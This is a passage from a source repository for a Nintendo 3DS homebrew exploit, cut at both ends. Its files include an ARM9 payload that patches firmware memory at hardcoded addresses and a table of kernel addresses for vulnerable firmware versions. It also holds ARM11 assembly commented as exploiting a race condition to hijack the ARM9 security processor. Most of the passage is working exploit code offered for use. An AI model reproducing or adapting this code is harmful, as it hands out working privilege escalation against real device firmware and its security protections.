0x0e, 0x10, 0xfe, 0x60, 0x78, 0x60, 0xfe, 0x00, 0x00, 0x00, 0x7c, 0x12, 0x7e, 0xd0, 0x7e, 0x00, 84 | 0x7e, 0xc8, 0xc8, 0xfe, 0xc8, 0xc8, 0xce, 0x00, 0x7c, 0x82, 0x7c, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 85 | 0xc6, 0x00, 0x7c, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 0xe0, 0x10, 0x7c, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 86 | 0x7c, 0x82, 0xcc, 0xcc, 0xcc, 0xcc, 0x76, 0x00, 0xe0, 0x10, 0xcc, 0xcc, 0xcc, 0xcc, 0x76, 0x00, 87 | 0xcc, 0x00, 0xcc, 0xcc, 0xcc, 0x7c, 0x0c, 0xf8, 0xc6, 0x7c, 0xc6, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 88 | 0xc6, 0x00, 0xc6, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 0x18, 0x7c, 0xd6, 0xd0, 0xd6, 0x7c, 0x18, 0x00, 89 | 0x38, 0x6c, 0x60, 0xf0, 0x60, 0xf2, 0xdc, 0x00, 0x66, 0x3c, 0x18, 0x7e, 0x18, 0x7e, 0x18, 0x00, 90 | 0xf8, 0xcc, 0xf8, 0xc4, 0xcc, 0xde, 0xcc, 0x06, 0x0e, 0x1b, 0x18, 0x3c, 0x18, 0x18, 0xd8, 0x70, 91 | 0x0e, 0x10, 0x78, 0x0c, 0x7c, 0xcc, 0x76, 0x00, 0x0e, 0x10, 0x38, 0x18, 0x18, 0x18, 0x3c, 0x00, 92 | 0x0e, 0x10, 0x7c, 0xc6, 0xc6, 0xc6, 0x7c, 0x00, 0x0e, 0x10, 0xcc, 0xcc, 0xcc, 0xcc, 0x76, 0x00, 93 | 0x66, 0x98, 0xdc, 0x66, 0x66, 0x66, 0x66, 0x00, 0x66, 0x98, 0xe6, 0xf6, 0xde, 0xce, 0xc6, 0x00, 94 | 0x38, 0x0c, 0x3c, 0x34, 0x00, 0x7e, 0x00, 0x00, 0x38, 0x6c, 0x6c, 0x38, 0x00, 0x7c, 0x00, 0x00, 95 | 0x30, 0x00, 0x30, 0x60, 0xc6, 0xc6, 0x7c, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xc0, 0xc0, 0x00, 0x00, 96 | 0x00, 0x00, 0x00, 0xfc, 0x0c, 0x0c, 0x00, 0x00, 0xc0, 0xc8, 0xd0, 0xfe, 0x46, 0x8c, 0x1e, 0x00, 97 | 0xc0, 0xc8, 0xd0, 0xec, 0x5c, 0xbe, 0x0c, 0x00, 0x18, 0x00, 0x18, 0x18, 0x3c, 0x3c, 0x18, 0x00, 98 | 0x00, 0x36, 0x6c, 0xd8, 0x6c, 0x36, 0x00, 0x00, 0x00, 0xd8, 0x6c, 0x36, 0x6c, 0xd8, 0x00, 0x00, 99 | 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 100 | 0xdb, 0x77, 0xdb, 0xee, 0xdb, 0x77, 0xdb, 0xee, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 101 | 0x18, 0x18, 0x18, 0x18, 0xf8, 0x18, 0x18, 0x18, 0x18, 0x18, 0xf8, 0x18, 0xf8, 0x18, 0x18, 0x18, 102 | 0x36, 0x36, 0x36, 0x36, 0xf6, 0x36, 0x36, 0x36, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x36, 0x36, 0x36, 103 | 0x00, 0x00, 0xf8, 0x18, 0xf8, 0x18, 0x18, 0x18, 0x36, 0x36, 0xf6, 0x06, 0xf6, 0x36, 0x36, 0x36, 104 | 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x00, 0x00, 0xfe, 0x06, 0xf6, 0x36, 0x36, 0x36, 105 | 0x36, 0x36, 0xf6, 0x06, 0xfe, 0x00, 0x00, 0x00, 0x36, 0x36, 0x36, 0x36, 0xfe, 0x00, 0x00, 0x00, 106 | 0x18, 0x18, 0xf8, 0x18, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x18, 0x18, 0x18, 107 | 0x18, 0x18, 0x18, 0x18, 0x1f, 0x00, 0x00, 0x00, 0x18, 0x18, 0x18, 0x18, 0xff, 0x00, 0x00, 0x00, 108 | 0x00, 0x00, 0x00, 0x00, 0xff, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x1f, 0x18, 0x18, 0x18, 109 | 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x18, 0x18, 0x18, 0x18, 0xff, 0x18, 0x18, 0x18, 110 | 0x18, 0x18, 0x1f, 0x18, 0x1f, 0x18, 0x18, 0x18, 0x36, 0x36, 0x36, 0x36, 0x37, 0x36, 0x36, 0x36, 111 | 0x36, 0x36, 0x37, 0x30, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x30, 0x37, 0x36, 0x36, 0x36, 112 | 0x36, 0x36, 0xf7, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0xf7, 0x36, 0x36, 0x36, 113 | 0x36, 0x36, 0x37, 0x30, 0x37, 0x36, 0x36, 0x36, 0x00, 0x00, 0xff, 0x00, 0xff, 0x00, 0x00, 0x00, 114 | 0x36, 0x36, 0xf7, 0x00, 0xf7, 0x36, 0x36, 0x36, 0x18, 0x18, 0xff, 0x00, 0xff, 0x00, 0x00, 0x00, 115 | 0x36, 0x36, 0x36, 0x36, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0xff, 0x18, 0x18, 0x18, 116 | 0x00, 0x00, 0x00, 0x00, 0xff, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x3f, 0x00, 0x00, 0x00, 117 | 0x18, 0x18, 0x1f, 0x18, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x18, 0x1f, 0x18, 0x18, 0x18, 118 | 0x00, 0x00, 0x00, 0x00, 0x3f, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0xff, 0x36, 0x36, 0x36, 119 | 0x18, 0x18, 0xff, 0x18, 0xff, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0xf8, 0x00, 0x00, 0x00, 120 | 0x00, 0x00, 0x00, 0x00, 0x1f, 0x18, 0x18, 0x18, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 121 | 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xf0, 0xf0, 0xf0, 0xf0, 0xf0, 0xf0, 0xf0, 122 | 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 123 | 0x00, 0x00, 0x74, 0xcc, 0xc8, 0xdc, 0x76, 0x00, 0x78, 0xcc, 0xd8, 0xcc, 0xc6, 0xc6, 0xdc, 0x40, 124 | 0xfe, 0x62, 0x60, 0x60, 0x60, 0x60, 0xf0, 0x00, 0x00, 0x02, 0x7e, 0xec, 0x6c, 0x6c, 0x48, 0x00, 125 | 0xfe, 0x62, 0x30, 0x18, 0x30, 0x62, 0xfe, 0x00, 0x00, 0x00, 0x7e, 0xd0, 0xc8, 0xc8, 0x70, 0x00, 126 | 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xf8, 0x80, 0x00, 0x00, 0x7e, 0xd8, 0x18, 0x18, 0x10, 0x00, 127 | 0x38, 0x10, 0x7c, 0xd6, 0xd6, 0x7c, 0x10, 0x38, 0x7c, 0xc6, 0xc6, 0xfe, 0xc6, 0xc6, 0x7c, 0x00, 128 | 0x7c, 0xc6, 0xc6, 0xc6, 0x6c, 0x28, 0xee, 0x00, 0x3c, 0x22, 0x18, 0x7c, 0xcc, 0xcc, 0x78, 0x00, 129 | 0x00, 0x00, 0x66, 0x99, 0x99, 0x66, 0x00, 0x00, 0x00, 0x06, 0x7c, 0x9e, 0xf2, 0x7c, 0xc0, 0x00, 130 | 0x00, 0x00, 0x7c, 0xc0, 0xf8, 0xc0, 0x7c, 0x00, 0x00, 0x7c, 0xc6, 0xc6, 0xc6, 0xc6, 0xc6, 0x00, 131 | 0x00, 0xfe, 0x00, 0xfe, 0x00, 0xfe, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x7e, 0x00, 132 | 0x30, 0x18, 0x0c, 0x18, 0x30, 0x00, 0x7c, 0x00, 0x18, 0x30, 0x60, 0x30, 0x18, 0x00, 0x7c, 0x00, 133 | 0x0e, 0x1b, 0x1b, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0xd8, 0xd8, 0x70, 134 | 0x00, 0x18, 0x00, 0x7e, 0x00, 0x18, 0x00, 0x00, 0x00, 0x76, 0xdc, 0x00, 0x76, 0xdc, 0x00, 0x00, 135 | 0x38, 0x6c, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 136 | 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x0f, 0x0c, 0x0c, 0x0c, 0xec, 0x6c, 0x3c, 0x00, 137 | 0xd8, 0x6c, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x30, 0xc0, 0xf0, 0x00, 0x00, 0x00, 0x00, 138 | 0x00, 0x00, 0x3c, 0x3c, 0x3c, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 139 | 140 | }; 141 | const int font_size = sizeof(font); 142 | //--------------------------------------------------------------------------------- 143 | #endif //_font_h_ 144 | //--------------------------------------------------------------------------------- 145 | -------------------------------------------------------------------------------- /arm9payload/include/platform.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef enum { 4 | PLATFORM_3DS, 5 | PLATFORM_N3DS, 6 | } Platform; 7 | 8 | Platform GetUnitPlatform(); 9 | -------------------------------------------------------------------------------- /arm9payload/source/delay.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .global ioDelay 3 | .type ioDelay STT_FUNC 4 | 5 | @ioDelay ( u32 us ) 6 | ioDelay: 7 | subs r0, #1 8 | bgt ioDelay 9 | bx lr -------------------------------------------------------------------------------- /arm9payload/source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "common.h" 5 | 6 | int patchFIRM(u32 p1, u32 p2){ 7 | 8 | u8 patch1[]={0x00, 0x20, 0x3B, 0xE0}; 9 | u8 patch2[]={0x00, 0x20, 0x08, 0xE0}; 10 | 11 | memcpy((u32*)p1,patch1,4); 12 | memcpy((u32*)p2,patch2,4); 13 | return 0; 14 | 15 | } 16 | 17 | int check(u32 a,u32 b){ 18 | if( *(u32*)a==0x6869000C && *(u32*)b==0x0028000E){ 19 | patchFIRM(a,b); 20 | return 1; 21 | } 22 | else 23 | { 24 | return 0; 25 | } 26 | 27 | } 28 | 29 | int main() { 30 | 31 | 32 | int result=0; 33 | int i=0; 34 | u32 patch1[]={0x080549C4, 0x08051650, 0x0805164C, 0x0805235C, 0x080521C4, 0x080521C8, 0x080523C4, 0x0805235C}; 35 | u32 patch2[]={0x0804239C, 0x080570D8, 0x080570D4, 0x08057FE4, 0x08057E98, 0x08057E9C, 0x08058098, 0x08058100}; 36 | 37 | 38 | for(i=0;i<8;i++){ 39 | result=check(patch1[i],patch2[i]); 40 | if(result){ 41 | break; 42 | } 43 | } 44 | 45 | if(!result){ //new 3ds 9.0-9.2 46 | if(*(u32*)0x08052FD8==0xFF9C0061){ 47 | *(u32*)0x08052FD8=0x77CE206D; 48 | *(u32*)0x08058804=0xC173C55A; 49 | } 50 | result=1; 51 | } 52 | 53 | 54 | return 0; // return control to FIRM ARM9 code (performs firmlaunch) 55 | } -------------------------------------------------------------------------------- /arm9payload/source/platform.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "platform.h" 3 | 4 | #define CONFIG_PLATFORM_REG ((volatile u32*)0x10140FFC) 5 | 6 | Platform GetUnitPlatform() 7 | { 8 | switch (*CONFIG_PLATFORM_REG) { 9 | case 7: 10 | return PLATFORM_N3DS; 11 | case 1: 12 | default: 13 | return PLATFORM_3DS; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /arm9payload/source/start.s: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .global _start 3 | .extern main 4 | .align 4 5 | .arm 6 | 7 | 8 | _start: 9 | b _init 10 | 11 | @ required, don't move :) 12 | @ will be set to FIRM ARM9 entry point by BRAHMA 13 | arm9ep_backup: .long 0xFFFF0000 14 | 15 | 16 | _init: 17 | stmfd sp!, {r0-r12, lr} 18 | bl main 19 | ldmfd sp!, {r0-r12, lr} 20 | 21 | @ return control to FIRM 22 | ldr pc, arm9ep_backup 23 | -------------------------------------------------------------------------------- /arm9payload/stub.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | ENTRY(_start) 4 | 5 | MEMORY 6 | { 7 | ram : ORIGIN = 0x23F00000, LENGTH = 128K 8 | } 9 | 10 | SECTIONS 11 | { 12 | .init : 13 | { 14 | __text_start = . ; 15 | KEEP (*(.init)) 16 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 17 | } >ram = 0xff 18 | .plt : { *(.plt) } >ram = 0xff 19 | 20 | .text : /* ALIGN (4): */ 21 | { 22 | *(.text .stub .text.* .gnu.linkonce.t.*) 23 | KEEP (*(.text.*personality*)) 24 | /* .gnu.warning sections are handled specially by elf32.em. */ 25 | *(.gnu.warning) 26 | *(.glue_7t) *(.glue_7) *(.vfp11_veneer) 27 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 28 | } >ram = 0xff 29 | 30 | .fini : 31 | { 32 | KEEP (*(.fini)) 33 | } >ram =0xff 34 | 35 | __text_end = . ; 36 | 37 | .rodata : 38 | { 39 | *(.rodata) 40 | *all.rodata*(*) 41 | *(.roda) 42 | *(.rodata.*) 43 | *(.gnu.linkonce.r*) 44 | SORT(CONSTRUCTORS) 45 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 46 | } >ram = 0xff 47 | 48 | .ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) } >ram 49 | __exidx_start = .; 50 | .ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) } >ram 51 | __exidx_end = .; 52 | 53 | /* Ensure the __preinit_array_start label is properly aligned. We 54 | could instead move the label definition inside the section, but 55 | the linker would then create the section even if it turns out to 56 | be empty, which isn't pretty. */ 57 | . = ALIGN(32 / 8); 58 | PROVIDE (__preinit_array_start = .); 59 | .preinit_array : { KEEP (*(.preinit_array)) } >ram = 0xff 60 | PROVIDE (__preinit_array_end = .); 61 | PROVIDE (__init_array_start = .); 62 | .init_array : { KEEP (*(.init_array)) } >ram = 0xff 63 | PROVIDE (__init_array_end = .); 64 | PROVIDE (__fini_array_start = .); 65 | .fini_array : { KEEP (*(.fini_array)) } >ram = 0xff 66 | PROVIDE (__fini_array_end = .); 67 | 68 | .ctors : 69 | { 70 | /* gcc uses crtbegin.o to find the start of the constructors, so 71 | we make sure it is first. Because this is a wildcard, it 72 | doesn't matter if the user does not actually link against 73 | crtbegin.o; the linker won't look for a file to match a 74 | wildcard. The wildcard also means that it doesn't matter which 75 | directory crtbegin.o is in. */ 76 | KEEP (*crtbegin.o(.ctors)) 77 | KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) 78 | KEEP (*(SORT(.ctors.*))) 79 | KEEP (*(.ctors)) 80 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 81 | } >ram = 0xff 82 | 83 | .dtors : 84 | { 85 | KEEP (*crtbegin.o(.dtors)) 86 | KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) 87 | KEEP (*(SORT(.dtors.*))) 88 | KEEP (*(.dtors)) 89 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 90 | } >ram = 0xff 91 | 92 | .eh_frame : 93 | { 94 | KEEP (*(.eh_frame)) 95 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 96 | } >ram = 0xff 97 | 98 | .gcc_except_table : 99 | { 100 | *(.gcc_except_table) 101 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 102 | } >ram = 0xff 103 | .jcr : { KEEP (*(.jcr)) } >ram = 0 104 | .got : { *(.got.plt) *(.got) } >ram = 0 105 | 106 | .data ALIGN(4) : { 107 | __data_start = ABSOLUTE(.); 108 | *(.data) 109 | *(.data.*) 110 | *(.gnu.linkonce.d*) 111 | CONSTRUCTORS 112 | . = ALIGN(4); 113 | __data_end = ABSOLUTE(.) ; 114 | } >ram = 0xff 115 | 116 | .bss ALIGN(4) : 117 | { 118 | __bss_start = ABSOLUTE(.); 119 | __bss_start__ = ABSOLUTE(.); 120 | *(.dynbss) 121 | *(.gnu.linkonce.b*) 122 | *(.bss*) 123 | *(COMMON) 124 | . = ALIGN(4); /* REQUIRED. LD is flaky without it. */ 125 | __bss_end__ = ABSOLUTE(.); 126 | __end__ = ABSOLUTE(.); 127 | } >ram 128 | 129 | /* Stabs debugging sections. */ 130 | .stab 0 : { *(.stab) } 131 | .stabstr 0 : { *(.stabstr) } 132 | .stab.excl 0 : { *(.stab.excl) } 133 | .stab.exclstr 0 : { *(.stab.exclstr) } 134 | .stab.index 0 : { *(.stab.index) } 135 | .stab.indexstr 0 : { *(.stab.indexstr) } 136 | .comment 0 : { *(.comment) } 137 | /* DWARF debug sections. 138 | Symbols in the DWARF debugging sections are relative to the beginning 139 | of the section so we begin them at 0. */ 140 | /* DWARF 1 */ 141 | .debug 0 : { *(.debug) } 142 | .line 0 : { *(.line) } 143 | /* GNU DWARF 1 extensions */ 144 | .debug_srcinfo 0 : { *(.debug_srcinfo) } 145 | .debug_sfnames 0 : { *(.debug_sfnames) } 146 | /* DWARF 1.1 and DWARF 2 */ 147 | .debug_aranges 0 : { *(.debug_aranges) } 148 | .debug_pubnames 0 : { *(.debug_pubnames) } 149 | /* DWARF 2 */ 150 | .debug_info 0 : { *(.debug_info) } 151 | .debug_abbrev 0 : { *(.debug_abbrev) } 152 | .debug_line 0 : { *(.debug_line) } 153 | .debug_frame 0 : { *(.debug_frame) } 154 | .debug_str 0 : { *(.debug_str) } 155 | .debug_loc 0 : { *(.debug_loc) } 156 | .debug_macinfo 0 : { *(.debug_macinfo) } 157 | /* SGI/MIPS DWARF 2 extensions */ 158 | .debug_weaknames 0 : { *(.debug_weaknames) } 159 | .debug_funcnames 0 : { *(.debug_funcnames) } 160 | .debug_typenames 0 : { *(.debug_typenames) } 161 | .debug_varnames 0 : { *(.debug_varnames) } 162 | .stack 0x80000 : { _stack = .; *(.stack) } 163 | /* These must appear regardless of . */ 164 | } -------------------------------------------------------------------------------- /arm9payload/stub.specs: -------------------------------------------------------------------------------- 1 | %rename link old_link 2 | 3 | *link: 4 | %(old_link) -T ../stub.ld%s 5 | 6 | -------------------------------------------------------------------------------- /icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d0k3/MiniPasta/7c7b26c6d5b2d4b1b250dd4859186419bc4b8d84/icon.png -------------------------------------------------------------------------------- /include/brahma.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "exploitdata.h" 4 | 5 | s32 load_arm9_payload_from_mem (u8* data, u32 dsize); 6 | void redirect_codeflow (u32 *dst_addr, u32 *src_addr); 7 | s32 map_arm9_payload (void); 8 | s32 map_arm11_payload (void); 9 | void exploit_arm9_race_condition (void); 10 | s32 get_exploit_data (struct exploit_data *data); 11 | s32 firm_reboot (); 12 | 13 | #define BRAHMA_NETWORK_PORT 80 14 | 15 | #define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04] 16 | #define ARM_RET 0xE12FFF1E // BX LR 17 | #define ARM_NOP 0xE1A00000 // NOP 18 | 19 | static u8 *g_ext_arm9_buf; 20 | static u32 g_ext_arm9_size = 0; 21 | static s32 g_ext_arm9_loaded = 0; 22 | 23 | extern void *arm11_start; 24 | extern void *arm11_end; 25 | extern void *arm9_start; 26 | extern void *arm9_end; 27 | -------------------------------------------------------------------------------- /include/exploitdata.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define SYS_MODEL_NONE 0 4 | #define SYS_MODEL_OLD_3DS 1 5 | #define SYS_MODEL_NEW_3DS 2 6 | 7 | #define PA_EXC_HANDLER_BASE 0x1FFF4000 8 | #define PA_FCRAM_BASE 0x20000000 9 | #define OFFS_FCRAM_MAPPED_FIRM 0x04000000 10 | #define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000 11 | #define OFFS_EXC_HANDLER_UNUSED 0xC80 12 | #if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM 13 | #error ERRROR: Invalid ARM9 payload offset 14 | #endif 15 | #define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD) 16 | 17 | /* any changes to this structure must also be applied to 18 | the data structure following the 'arm11_globals_start' 19 | label of arm11.s */ 20 | typedef struct arm11_shared_data { 21 | u32 va_pdn_regs; 22 | u32 va_pxi_regs; 23 | u32 va_hook1_ret; 24 | }; 25 | 26 | typedef struct exploit_data { 27 | 28 | u32 firm_version; 29 | u32 sys_model; // mask 30 | 31 | u32 va_patch_hook1; 32 | u32 va_patch_hook2; 33 | u32 va_hook1_ret; 34 | 35 | u32 va_fcram_base; 36 | u32 va_exc_handler_base_W; 37 | u32 va_exc_handler_base_X; 38 | u32 va_kernelsetstate; 39 | 40 | u32 va_pdn_regs; 41 | u32 va_pxi_regs; 42 | }; 43 | 44 | static struct exploit_data g_expdata; 45 | static struct arm11_shared_data g_arm11shared; 46 | 47 | // add all vulnerable systems below 48 | static const struct exploit_data supported_systems[] = { 49 | { 50 | 0x022E0000, // FIRM version 51 | SYS_MODEL_NEW_3DS, // model 52 | 0xDFFE7A50, // VA of 1st hook for firmlaunch 53 | 0xDFFF4994, // VA of 2nd hook for firmlaunch 54 | 0xFFF28A58, // VA of return address from 1st hook 55 | 0xE0000000, // VA of FCRAM 56 | 0xDFFF4000, // VA of lower mapped exception handler base 57 | 0xFFFF0000, // VA of upper mapped exception handler base 58 | 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) 59 | 0xFFFBE000, // VA PDN registers 60 | 0xFFFC0000 // VA PXI registers 61 | }, 62 | { 63 | 0x022C0600, // FIRM version 64 | SYS_MODEL_NEW_3DS, // model 65 | 0xDFFE7A50, // VA of 1st hook for firmlaunch 66 | 0xDFFF4994, // VA of 2nd hook for firmlaunch 67 | 0xFFF28A58, // VA of return address from 1st hook 68 | 0xE0000000, // VA of FCRAM 69 | 0xDFFF4000, // VA of lower mapped exception handler base 70 | 0xFFFF0000, // VA of upper mapped exception handler base 71 | 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) 72 | 0xFFFBE000, // VA PDN registers 73 | 0xFFFC0000 // VA PXI registers 74 | }, 75 | { 76 | 0x02220000, 77 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 78 | 0xEFFE4DD4, 79 | 0xEFFF497C, 80 | 0xFFF84DDC, 81 | 0xF0000000, 82 | 0xEFFF4000, 83 | 0xFFFF0000, 84 | 0xFFF748C4, 85 | 0xFFFD0000, 86 | 0xFFFD2000 87 | }, 88 | { 89 | 0x02230600, 90 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 91 | 0xEFFE55BC, 92 | 0xEFFF4978, 93 | 0xFFF765C4, 94 | 0xF0000000, 95 | 0xEFFF4000, 96 | 0xFFFF0000, 97 | 0xFFF64B94, 98 | 0xFFFD0000, 99 | 0xFFFD2000 100 | }, 101 | { 102 | 0x022E0000, 103 | SYS_MODEL_OLD_3DS, 104 | 0xDFFE59D0, 105 | 0xDFFF4974, 106 | 0xFFF279D8, 107 | 0xE0000000, 108 | 0xDFFF4000, 109 | 0xFFFF0000, 110 | 0xFFF151C0, 111 | 0xFFFC2000, 112 | 0xFFFC4000 113 | }, 114 | { 115 | 0x022C0600, 116 | SYS_MODEL_OLD_3DS, 117 | 0xDFFE4F28, 118 | 0xDFFF4974, 119 | 0xFFF66F30, 120 | 0xE0000000, 121 | 0xDFFF4000, 122 | 0xFFFF0000, 123 | 0xFFF54BAC, 124 | 0xFFFBE000, 125 | 0xFFFC0000 126 | }, 127 | { 128 | 0x02280000, 129 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 130 | 0xEFFE5B30, 131 | 0xEFFF4978, 132 | 0xFFF76B38, 133 | 0xF0000000, 134 | 0xEFFF4000, 135 | 0xFFFF0000, 136 | 0xFFF64AAC, 137 | 0xFFFD0000, 138 | 0xFFFD2000 139 | }, 140 | { 141 | 0x02270400, 142 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 143 | 0xEFFE5B34, 144 | 0xEFFF4978, 145 | 0xFFF76B3C, 146 | 0xF0000000, 147 | 0xEFFF4000, 148 | 0xFFFF0000, 149 | 0xFFF64AB0, 150 | 0xFFFD0000, 151 | 0xFFFD2000 152 | }, 153 | { 154 | 0x02250000, 155 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 156 | 0xEFFE5AE8, 157 | 0xEFFF4978, 158 | 0xFFF76AF0, 159 | 0xF0000000, 160 | 0xEFFF4000, 161 | 0xFFFF0000, 162 | 0xFFF64A78, 163 | 0xFFFD0000, 164 | 0xFFFD2000 165 | }, 166 | { 167 | 0x02260000, 168 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 169 | 0xEFFE5AE8, 170 | 0xEFFF4978, 171 | 0xFFF76AF0, 172 | 0xF0000000, 173 | 0xEFFF4000, 174 | 0xFFFF0000, 175 | 0xFFF64A78, 176 | 0xFFFD0000, 177 | 0xFFFD2000 178 | }, 179 | { 180 | 0x02240000, 181 | SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, 182 | 0xEFFE55B8, 183 | 0xEFFF4978, 184 | 0xFFF765C0, 185 | 0xF0000000, 186 | 0xEFFF4000, 187 | 0xFFFF0000, 188 | 0xFFF64B90, 189 | 0xFFFD0000, 190 | 0xFFFD2000 191 | } 192 | }; 193 | -------------------------------------------------------------------------------- /include/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void InvalidateEntireInstructionCache (void); 4 | void InvalidateEntireDataCache (void); 5 | -------------------------------------------------------------------------------- /source/arm11.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .align 4 3 | .code 32 4 | .text 5 | 6 | .global arm11_start 7 | arm11_start: 8 | B hook1 9 | B hook2 10 | 11 | hook1: 12 | STMFD SP!, {R0-R12,LR} 13 | 14 | MOV R0, #1000 15 | BL busy_spin 16 | 17 | MOV R0, #0 18 | BL pxi_send 19 | 20 | BL pxi_sync 21 | 22 | MOV R0, #0x10000 23 | BL pxi_send 24 | 25 | BL pxi_recv 26 | BL pxi_recv 27 | BL pxi_recv 28 | 29 | MOV R0, #2 30 | BL pdn_send 31 | 32 | MOV R0, #16 33 | BL busy_spin 34 | 35 | MOV R0, #0 36 | BL pdn_send 37 | 38 | MOV R0, #16 39 | BL busy_spin 40 | 41 | LDMFD SP!, {R0-R12,LR} 42 | 43 | LDR R0, var_44836 44 | STR R0, [R1] 45 | LDR PC, va_hook1_ret 46 | 47 | var_44836: .long 0x44836 48 | 49 | @ copy hijack_arm9 routine and execute 50 | hook2: 51 | ADR R0, hijack_arm9 52 | ADR R1, hijack_arm9_end 53 | LDR R2, pa_hijack_arm9_dst 54 | MOV R4, R2 55 | BL copy_mem 56 | BX R4 57 | 58 | @ exploits a race condition in order 59 | @ to take control over the arm9 core 60 | hijack_arm9: 61 | @ init 62 | LDR R0, pa_arm11_code 63 | MOV R1, #0 64 | STR R1, [R0] 65 | 66 | @ load physical addresses 67 | LDR R10, pa_firm_header 68 | LDR R9, pa_arm9_payload 69 | LDR R8, pa_io_mem 70 | 71 | @ send pxi cmd 0x44846 72 | LDR R1, pa_pxi_regs 73 | LDR R2, some_pxi_cmd 74 | STR R2, [R1, #8] 75 | 76 | wait_arm9_loop: 77 | LDRB R0, [R8] 78 | ANDS R0, R0, #1 79 | BNE wait_arm9_loop 80 | 81 | @ get arm9 orig entry point phys addr from FIRM header 82 | LDR R0, [R10, #0x0C] 83 | 84 | @ backup orig entry point to FCRAM + offs ARM9 payload + 4 85 | STR R0, [R9, #0x4] 86 | 87 | @ overwrite orig entry point with FCRAM addr 88 | @ this exploits the race condition bug 89 | STR R9, [R10, #0x0C] 90 | 91 | LDR R0, pa_arm11_code 92 | wait_arm11_loop: 93 | LDR R1, [r0] 94 | CMP R1, #0 95 | BEQ wait_arm11_loop 96 | BX R1 97 | 98 | pa_hijack_arm9_dst: .long 0x1FFFFC00 99 | pa_arm11_code: .long 0x1FFFFFFC 100 | pa_pxi_regs: .long 0x10163000 101 | some_pxi_cmd: .long 0x44846 102 | pa_firm_header: .long 0x24000000 103 | pa_arm9_payload: .long 0x23F00000 104 | pa_io_mem: .long 0x10140000 105 | hijack_arm9_end: 106 | 107 | copy_mem: 108 | SUB R3, R1, R0 109 | MOV R1, 